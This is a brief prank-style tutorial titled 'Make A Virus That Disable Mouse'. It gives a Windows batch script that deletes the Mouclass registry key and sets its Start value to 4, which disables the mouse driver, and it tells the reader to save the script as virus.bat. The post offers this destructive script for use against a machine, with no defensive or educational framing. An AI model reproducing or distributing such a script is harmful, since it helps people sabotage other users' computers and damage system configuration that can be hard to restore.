Make A Virus That Disable Mouse

Open Notepad and copy below codes
rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------
Save this file as  virus.bat

Done you just created your virus.

Enjoy.....